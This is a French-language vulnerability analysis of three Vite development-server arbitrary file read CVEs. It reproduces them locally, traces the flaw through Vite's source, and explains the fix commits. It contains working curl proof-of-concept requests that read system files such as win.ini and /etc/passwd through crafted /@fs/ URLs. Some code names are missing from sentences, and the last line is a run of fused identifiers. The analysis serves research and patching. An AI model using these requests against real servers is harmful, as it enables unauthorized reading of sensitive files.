
Analysis of the Reproduction of CVE-2025-30208 Series Vulnerabilities
CVE-2025-30208, CVE-2025-31125 et CVE-2025-31486 sont des vulnérabilités de lecture de fichiers arbitraires dans le serveur de développement de Vite. Ces vulnérabilités permettent à un attaquant de contourner le contrôle d'accès via des paramètres d'URL spécifiques et de lire des fichiers sensibles sur le serveur via le module fs. Les trois vulnérabilités peuvent être considérées comme une série, car leurs causes sont très similaires.
Les versions affectées par CVE-2025-30208 sont les suivantes :
>=6.2.0, <=6.2.2
>=6.1.0, <=6.1.1
>=6.0.0, <=6.0.11
>=5.0.0, <=5.4.14
<=4.5.9
Les versions affectées par CVE-2025-31125 sont les suivantes :
>=6.2.0, <=6.2.3
>=6.1.0, <=6.1.2
>=6.0.0, <=6.0.12
>=5.0.0, <=5.4.15
<=4.5.10
Les versions affectées par CVE-2025-31486 sont les suivantes :
>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11
Pour mettre en place l'environnement vulnérable localement à partir de zéro, commencez par créer un projet avec create-vite :
npm create vite@latest vuln-env -y -- --template vue-ts
cd vuln-env
La version de Vite dans le fichier package.json généré peut contenir le symbole ^ (par exemple "vite": "^6.2.0"). Vous devez le modifier manuellement pour une version exacte (ex : "vite": "6.2.0"), puis exécutez :
npm install
Enfin, démarrez l'environnement :
npm run dev
Vous pouvez également utiliser directement le dossier vuln-env présent dans ce dépôt, exécutez npm install puis npm run dev.
Pour plus de commodité, les trois vulnérabilités sont reproduites dans la version 6.2.0. Exécutez npm run dev et attendez le démarrage de l'environnement.

CVE-2025-30208 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"
curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"

CVE-2025-31125 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"
curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"
Le contenu lu est encodé en base64 ; après décodage, on obtient le contenu original du fichier.

CVE-2025-31486 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"
curl "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"
Le POC mentionné dans le bulletin passant par un chemin relatif est le suivant :
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
x représente le chemin du projet local. Le POC de test local est :
curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"
On voit que les POC se divisent en deux catégories : ceux qui n'ont pas besoin d'en-tête HTTP doivent contenir ?import&. Ce point sera expliqué plus tard lors de l'analyse du code source.
Pour analyser le code source, il est nécessaire de déboguer. Utilisez VS Code pour déboguer le projet. Le contenu du fichier launch.json est le suivant :
{
"version": "0.1.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Debug Vite & Node Modules",
"runtimeExecutable": "npm",
"runtimeArgs": ["run", "dev"],
"skipFiles": ["<node_internals>/**"],
}
]
}
D'après le correctif officiel, des améliorations ont été apportées à l'instruction if dans la fonction transformMiddleware pour la détection du format d'URL et la vérification de l'accès au service. Placez donc un point d'arrêt dans la fonction transformMiddleware et suivez le processus de résolution de la requête.

Comme le projet créé ne contient que des fichiers JS compilés, recherchez directement le mot-clé de la fonction dans tous les fichiers pour ajouter un point d'arrêt.

Exécutez le POC ; le point d'arrêt s'active dans la fonction cible. On voit qu'après l'affectation de certaines variables, l'appel entre dans la fonction viteTransformMiddleware. Après avoir vérifié que la méthode de requête est GET et que la requête ne concerne pas la racine ni l'icône, l'URL est nettoyée du ? final par removeTimestampQuery.
/@fs/c:/windows/win.ini?import&raw??
⬇
/@fs/c:/windows/win.ini?import&raw?
cleanUrl() est utilisée pour obtenir l'URL sans paramètres de requête. withoutQuery a alors la valeur "/@fs/c:/windows/win.ini", donc on n'entre pas dans le bloc if (!isSourceMap). Ensuite, publicDirInRoot vérifie si le répertoire des ressources statiques est configuré à la racine du projet ; url.startsWith(publicPath) vérifie si l'URL demandée commence par le chemin public configuré (ex: /public/). Si les deux conditions sont remplies, warnAboutExplicitPublicPathInUrl(url) est appelé pour émettre un avertissement. Cela indique généralement que le développeur a peut-être ajouté par erreur un chemin public en double dans le code. L'URL ne correspond pas aux conditions, donc ce bloc est ignoré. rawRE.test(url) et urlRE.test(url) retournent False, donc le résultat de l'expression logique est défini sur False sans évaluer , et le bloc est ignoré. Dans l'instruction suivante, l'URL correspond à la regex , donc on entre dans le bloc ; l'URL est modifiée par en , puis envoyée à .
/@fs/c:/windows/win.ini?import&raw?
⬇
/@fs/c:/windows/win.ini?raw
Dans l'instruction if qui vérifie isJSRequest(url), on voit qu'elle vérifie aussi la valeur de l'en-tête HTTP sec-fetch-dest : si elle est égale à script, le test est également réussi. C'est pourquoi les POC se divisent en deux catégories comme mentionné précédemment : l'ajout de l'en-tête HTTP et ?import& servent tous deux à passer l'instruction if. (D'autres méthodes existent aussi, par exemple via isHTMLProxy(url) -> /@fs/c:/windows/win.ini?html-proxy&raw??)

Après le traitement des paramètres, la vérification de l'environnement et la détection des clés de cache et des requêtes en double, on entre dans la fonction doTransform().

Après validation de la validité du cache, l'URL /@fs/c:/windows/win.ini?raw est analysée et produit l'ID c:/windows/win.ini?raw, puis on entre dans la fonction loadAndTransform().

Après d'autres affectations, on charge les plugins en fonction de l'id. L'ordre de chargement des plugins est le suivant :
vite:optimized-deps
↓
vite:modulepreload-polyfill
↓
vite:resolve
↓
vite:html-inline-proxy
↓
vite:css
↓
vite:wasm-helper
↓
vite:worker
↓
vite:asset

La cause de CVE-2025-30208 est que l'URL malveillante, après analyse et traitement, passe la condition if (rawRE.test(id)) dans le plugin assetPlugin, puis est envoyée à fsp.readFile(), ce qui entraîne la lecture d'un fichier local.

La cause de CVE-2025-31125 est que l'URL, après analyse, satisfait la condition id.endsWith(".wasm?init") dans le plugin wasmHelperPlugin, puis est envoyée à la fonction fileToUrl$1(). Si inlineRE$2.test(id) est vrai, elle est ensuite envoyée à fsp.readFile(), ce qui entraîne la lecture d'un fichier local.

CVE-2025-31486 est très similaire à CVE-2025-31125. Dans le diagramme d'analyse de CVE-2025-31125, on voit que la fonction fileToDevUrl() ne contient que deux instructions if avec des regex. Le bloc if contenant inlineRE$2.test(id) est le point de déclenchement de CVE-2025-31125 ; le bloc if suivant avec svgExtRE.test(id) est le point de déclenchement de CVE-2025-31486.
La méthode utilisant un chemin relatif contourne la validation de ensureServingAccess().
L'URL, en entrant dans la fonction isFileServingAllowed(), est d'abord soumise à cleanUrl() dans fsPathFromUrl() qui supprime le contenu après ?#. Ainsi, pour l'URL du POC, la transformation suivante se produit :
D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt
⬇
D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/
Ensuite, l'URL entre dans isFileLoadingAllowed() dans isUriFilePath() pour validation, puis passe par la vérification de isParentDirectory().

D'après le commit de correction 262b5ec, l'approche officielle consiste à supprimer le ? superflu à la fin des paramètres. Ainsi, face à la condition if ((rawRE.test(...) || urlRE.test(...)) && !ensureServingAccess(...)) , le paramètre correspond à rawRE.test() et peut donc entrer normalement dans ensureServingAccess(), ce qui vérifie si le service autorise l'accès, évitant ainsi la lecture non autorisée due au court-circuit de l'expression logique avant la correction.

D'après le commit de correction 5967313, l'équipe a ajouté la regex inlineRE. Ainsi, ?inline=1.wasm?init correspond à la regex et entre normalement dans ensureServingAccess() pour vérifier si le service est accessible.

D'après le commit de correction 62d7e81, la correction officielle comprend deux parties : la première consiste à ajouter une regex svgRE pour traiter le contournement par .svg.

La seconde partie, pour traiter la lecture par chemin relatif, nettoie le paramètre id avant de le passer à svgRe.test(), afin que le paramètre soumis à svgRe.test() soit cohérent avec le paramètre utilisé dans la concaténation de file.

ensureServingAccess()ifImportQueryREifremoveImportQuery()/@fs/c:/windows/win.ini?rawtransformRequest()